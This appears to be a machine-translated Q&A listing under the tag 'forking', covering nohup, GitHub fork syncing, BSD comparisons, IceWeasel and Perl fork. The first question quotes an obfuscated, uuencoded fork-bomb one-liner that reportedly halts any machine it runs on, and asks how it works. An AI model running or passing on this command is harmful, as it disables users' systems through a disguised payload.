标签: forking

这串文本如何以及为什么是一个分叉炸弹?

在随机 chan 板上找到:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
Run Code Online (Sandbox Code Playgroud)

以某种方式运行这会导致无限生成过程,该过程猖獗并使机器停止。我看到一些关于“su”的东西试图被多次执行。

..这很奇怪,因为我只希望输出文本,而不是执行任何内容。

通过在线解码器运行此文本只会给我一批二进制输出:

解码结果

这些乱七八糟的文字究竟在做什么,有没有办法“安全”地查看它?

encoding shell malware forking

145
推荐指数
3
解决办法
2万
查看次数

如何在 shell 退出时分叉一个不会死的进程?

如果我从 shell 运行 emacs:

$ emacs foo &
Run Code Online (Sandbox Code Playgroud)

然后杀死那个外壳,emacs 死了。

如何运行命令使其在 shell 死机时不会死机?

我找到了对 nohup 的引用,但这似乎没有帮助:

$ nohup emacs foo &
Run Code Online (Sandbox Code Playgroud)

当 shell 死亡时,仍然会杀死 emacs。

linux terminal shell forking nohup

37
推荐指数
3
解决办法
5万
查看次数

如何从原始版本重新同步分叉

我刚刚在 Github 上 fork 了一个项目。我进行了修改并发送了拉取请求。所有者将我的 fork 与主项目合并,然后进行了一些修改。所以现在我的 fork 没有更新主项目。我想念他在合并我的拉取请求后所做的修改。如何使用 Main 项目更新我的 fork?有没有办法在网络界面中做到这一点?

谢谢

git merge forking github

34
推荐指数
1
解决办法
1万
查看次数

NetBSD、OpenBSD、*BSD 和 FreeBSD 比较

我记得几年前读过 NetBSD 和 FreeBSD 的比较,在 2000 年(很多)它看起来像 NetBSD 分叉进程更好,而 FreeBSD 线程更好,因此,对于 Apache 1 NetBSD 似乎更好一点。

从那时起,似乎 FreeBSD 首先支持 SMP,但后来 NetBSD 声称支持它更好,直到 FreeBSD 再次改进。等等。

另外我个人发现,虽然人们说 FreeBSD 更好地支持标准 PC 硬件,但 NetBSD 一次有更广泛的设备支持,以及对各种克隆类型 PCI 卡的更多选择,如 BT848s 或 Tulip Ethernet Clones 等。

有没有人看到更新的比较?

我不是在谈论用户对默认 X 桌面系统的了解等。我是在谈论有关当您将 1mb 进程分叉 N 次时延迟或内存使用或速度会发生什么变化的图形和图表的要点。您知道当 N 小于 15 时,一个可能看起来像是明显的赢家,直到您在 15 之后看到不同的曲线,而另一个是赢家。

图表!

我试图了解 BSD 之间的当前立场。我有一种奇怪的感觉,一旦 NetBSD 放弃了征服一堆旧机器的旧标志,他们就会转移注意力。

freebsd comparison netbsd openbsd forking

9
推荐指数
2
解决办法
5289
查看次数

网站实例的 Git 分支?

我在几个网站上工作,除了图像和 css 或设置中的一些更改外,两个网站都需要几乎相同的代码。

我刚刚读完了 Pro Git 书的分支章节,我有点困惑,如果分支不是解决这个问题的最佳解决方案,是一个分支吗?

我的意思是,我们有代码的实例 A 和 B,在 A 和 B 之间,区别在于诸如 css 颜色、url、api 键之类的东西,但大多数代码是相同的,所以我可以用什么方式来处理这个,我需要像 A 中的代码,然后“修补”它以获得 B,但我不确定如何进行不覆盖图像的合并...

无论如何,如果是分支或分叉,如何在不丢失 B 更改的情况下对 A 中的新功能进行合并?

git forking github multiple-instances branch

7
推荐指数
1
解决办法
283
查看次数

IceWeasel / IceCat 只是品牌重塑,还是它们实际上与 Firefox / Thunderbird 不同?

正如我们所知,Firefox 的品牌(名称、徽标等)是非免费版权,因此一些 Linux 发行版打包了(更多)完全免费的版本。

但是,我无法在 Wikipedia(此处此处)或IceCat 网页中获得关于两个比较知名的 IceWeasel 和 IceCat 的直接解释。

  • 这些是不同的项目吗?
  • 它们只是 Firefox 的不同品牌重塑吗?
  • 为什么 Debian 只有 Iceweasel 软件包?
  • 他们中的一个是否合并到另一个/成为另一个?

debian forking copyright iceweasel

7
推荐指数
1
解决办法
3527
查看次数

Linux / Perl - 当进程被分叉时会发生什么?

我已经阅读了有关 fork 的内容,据我所知,该进程已被克隆,但是哪个进程?脚本本身还是启动脚本的进程?

例如:

我在我的机器上运行 rTorrent,当一个 Torrent 完成时,我有一个针对它运行的脚本。此脚本从 Web 获取数据,因此需要几秒钟才能完成。在此期间,我的 rtorrent 进程被冻结。所以我使用以下内容制作了脚本分支

my $pid = fork();
if ($pid) == 0) { blah blah blah; exit 0; }
Run Code Online (Sandbox Code Playgroud)

如果我从 CLI 运行这个脚本,它会在一秒钟内返回到 shell,同时它在后台运行,完全符合我的预期。然而,当我从 rTorrent 运行它时,它似乎比以前更慢。那么究竟是什么被分叉了呢?rtorrent 进程是否克隆了自己并且我的脚本在其中运行,还是我的脚本克隆了自己?我希望这是有道理的。

linux perl forking posix

5
推荐指数
1
解决办法
2129
查看次数